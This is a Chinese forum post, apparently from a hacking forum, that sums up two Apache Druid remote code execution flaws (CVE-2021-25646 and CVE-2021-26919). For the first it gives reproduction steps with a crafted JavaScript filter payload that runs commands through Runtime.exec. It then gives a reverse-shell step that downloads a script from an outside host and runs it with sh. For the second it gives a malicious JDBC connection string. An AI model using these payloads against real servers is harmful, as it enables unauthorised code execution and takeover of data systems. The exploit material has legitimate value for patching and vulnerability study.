[工具使用] Apache Druid 漏洞总结

307 1
HK.JH 2022-2-13 00:13:06 来自手机 | 显示全部楼层 |阅读模式
1. druid是什么

Apache Druid是一个实时分析数据库,旨在对大型数据集进行快速切片和切分分析(OLAP查询)。Druid最常用作数据库,支持应用程序实时摄入,快速查询数据。



2. CVE-2021-25646 RCE



# 漏洞概述
Apache Druid 默认情况下缺乏授权认证,攻击者可以发送特制请求,利用Druid服务器上进程的特权执行任意代码。


# 影响版本
Apache Druid < 0.20.1


# 漏洞复现
直接用docker起一个环境
docker run --rm -i -p 8888:8888 fokkodriesprong/docker-druid
然后访问 http://127.0.0.1:8888,进入Druid console


先开启抓包,然后点击 Load data -> Local disk,填入

Base directory:quickstart/tutorial/

File filter:wikiticker-2015-09-12-sampled.json.gz



之后一路next即可。然后打开burp,查看刚才抓的包,定位到 /druid/indexer/v1/sampler?for=filter

修改 transformSpec 参数,加上 filter 字段:

"filter":{
    "type":"javascript",
    "function":"function(value){return java.lang.Runtime.getRuntime().exec('curl localhost:9999')}",
    "dimension":"added",
    "":{
    "enabled":"true"
    }
}


反弹 shell 同理,先执行:

curl -o /tmp/1 curl https://saucer-man.com/reverse/reverse.php?ip=10.10.10.10&port=4444
再执行:

sh /tmp/1




3. CVE-2021-26919



# 影响版本
Apache Druid < 0.20.2


# 漏洞概述
2021年03月29日,Apache官方发布安全公告,公开了Apache Druid中的一个远程代码执行漏洞(CVE-2021-26919)。


Druid 使用JDBC从其它数据库读取数据,此功能是为了让受信任的用户通过适当的权限来设置查找或提交提取任务。由于Apache Druid 默认情况下缺乏授权认证,攻击者可通过构造恶意请求执行任意代码,从而控制服务器。


# POC
url = "jdbc:mysql://localhost:3307/?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&maxAllowedPacket=65535"
user ="cb1"
password="password"
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2025 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行